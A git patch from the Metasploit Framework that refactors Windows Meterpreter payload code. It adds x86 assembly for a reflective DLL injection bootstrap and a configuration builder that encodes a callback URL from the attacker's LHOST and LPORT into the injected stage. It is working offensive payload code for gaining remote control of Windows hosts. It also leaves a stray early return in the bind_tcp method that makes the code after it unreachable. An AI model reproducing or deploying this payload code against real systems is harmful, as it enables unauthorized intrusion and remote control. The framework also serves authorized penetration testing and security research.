From bb77a3a0e63e787a15b4c59bd22ff2c4c4b3c2d8 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 25 Apr 2015 21:25:29 +1000 Subject: [PATCH] First pass of refactoring to support new config block This is pretty basic stuff, but at least it's reusable. --- lib/msf/core/payload/windows/bind_tcp.rb | 1 + .../payload/windows/reflectivedllinject.rb | 108 ++++++++++-------- lib/msf/core/payload/windows/reverse_tcp.rb | 2 + lib/rex/payloads/meterpreter/config.rb | 83 ++++++++++++++ 4 files changed, 149 insertions(+), 45 deletions(-) create mode 100644 lib/rex/payloads/meterpreter/config.rb diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index 80e411fb28..222974bdb0 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -37,6 +37,7 @@ module Payload::Windows::BindTcp ) end + return "" conf = { port: datastore['LPORT'].to_i, exitfunk: datastore['EXITFUNC'], diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 8905854ef0..46d2e82b9e 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/reflective_dll_loader' +require 'rex/payloads/meterpreter/config' module Msf @@ -30,11 +31,7 @@ module Payload::Windows::ReflectiveDllInject 'Platform' => 'win', 'Arch' => ARCH_X86, 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, - 'Stage' => - { - 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, - 'Payload' => "" - } + 'Stage' => { 'Payload' => "" } )) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class ) @@ -44,31 +41,54 @@ module Payload::Windows::ReflectiveDllInject datastore['DLL'] end + def asm_invoke_dll(opts={}) + asm = %Q^ + ; prologue + dec ebp ; 'M' + pop edx ; 'Z' + call $+5 ; call next instruction + pop ebx ; get the current location (+7 bytes) + push edx ; restore edx + inc ebp ; restore ebp + push ebp ; save ebp for later + mov ebp, esp ; set up a new stack frame + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() (0x????????) + add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} + call ebx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) + ; offset from ReflectiveLoader() to the end of the DLL + add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + mov [ebx], edi ; write the current socket to the config + mov [ebx+4], esi ; write the current listen socket to the config + push ebx ; push the pointer to the configuration start + push 4 ; indicate that we have attached + push eax ; push some arbitrary value for hInstance + mov ebx, eax ; save DllMain for another call + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; indicate that we have detached + push eax ; push some arbitrary value for hInstance + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + end + def stage_payload(target_id=nil) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) - exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration + asm_opts = { + :rdi_offset => offset, + :length => dll.length, + :exitfunk => 'thread' + } - bootstrap = "\x4D" + # dec ebp ; M - "\x5A" + # pop edx ; Z - "\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction - "\x5B" + # pop ebx ; get our location (+7) - "\x52" + # push edx ; push edx back - "\x45" + # inc ebp ; restore ebp - "\x55" + # push ebp ; save ebp - "\x89\xE5" + # mov ebp, esp ; setup fresh stack frame - "\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader - "\xFF\xD3" + # call ebx ; call ReflectiveLoader - "\x89\xC3" + # mov ebx, eax ; save DllMain for second call - "\x57" + # push edi ; our socket - "\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached - "\x50" + # push eax ; some value for hinstance - "\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) - "\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder - "\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached - "\x50" + # push eax ; some value for hinstance - "\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) + asm = asm_invoke_dll(asm_opts) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if( bootstrap.length > 62 ) @@ -79,30 +99,28 @@ module Payload::Windows::ReflectiveDllInject # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap - # patch in the timeout options - timeout_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, + # create the configuration block, which for staged connections is really simple. + config_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }), + :transports => [{ + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + }], + :extensions => [] } - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) - - # patch the target ID into the URI if specified - if target_id - i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00") - if i - t = target_id.to_s - raise "Target ID must be less than 5 bytes" if t.length > 4 - u = "/B#{t} HTTP/1.0\r\n\r\n\x00" - print_status("Patching Target ID #{t} into DLL") - dll[i, u.length] = u - end - end + config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return our stage to be loaded by the intermediate stager - return dll + return dll + config.to_b end end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index c887b792d0..0c4dd21f4c 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -227,6 +227,8 @@ module Payload::Windows::ReverseTcp add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read + ; esi at this point is zero, which is what + ; we need to pass to the second stage ret ; return into the second stage ^ diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb new file mode 100644 index 0000000000..054016e32c --- /dev/null +++ b/lib/rex/payloads/meterpreter/config.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- +require 'msf/core/payload/uuid' +require 'msf/core/reflective_dll_loader' + +class Rex::Payloads::Meterpreter::Config + + include Msf::ReflectiveDLLLoader + + UUID_SIZE = 64 + URL_SIZE = 512 + + def initialize(opts={}) + @opts = opts + end + + def to_b + config_block(@opts) + end + +private + + def to_wchar_t(item, size) + item.to_s.ljust(size, "\x00").unpack("C*").pack("v*") + end + + def session_block(opts={}) + uuid = to_wchar_t(opts[:uuid], UUID_SIZE) + + session_data = [ + 0, # comms socket, patched in by the stager + 0, # listen socket, patched in by the stager + opts[:expiration], # Session expiry + uuid, # the URL to use + ].pack("VVVA*") + end + + def transport_block(opts={}) + # Build the URL from the given parameters, and pad it out to the + # correct size + url = "#{opts[:scheme]}://#{opts[:lhost]}:#{opts[:lport]}" + url << "#{opts[:uri]}/" if opts[:uri] + url = to_wchar_t(url, URL_SIZE) + + transport_data = [ + opts[:comm_timeout], # communications timeout + opts[:retry_total], # retry total time + opts[:retry_wait], # retry wait time + url + ].pack("VVVA*") + end + + def extension_block(ext_name, file_extension) + ext_name = ext_name.strip.downcase + ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{ext_name}", + file_extension)) + + extension_data = [ ext.length, ext ].pack("VA*") + end + + def config_block(opts={}) + # start with the session information + config = session_block(opts) + + # then load up the transport configurations + (opts[:transports] || []).each do |t| + config << transport_block(t) + end + + # terminate the transports with a single NULL byte + config << "\x00" + + # configure the extensions + (opts[:extensions] || []).each do |e| + config << extension_block(e, opts[:file_extension]) + end + + # terminate the extensions with a 0 size + config << [0].pack("V") + + # and we're done + config + end +end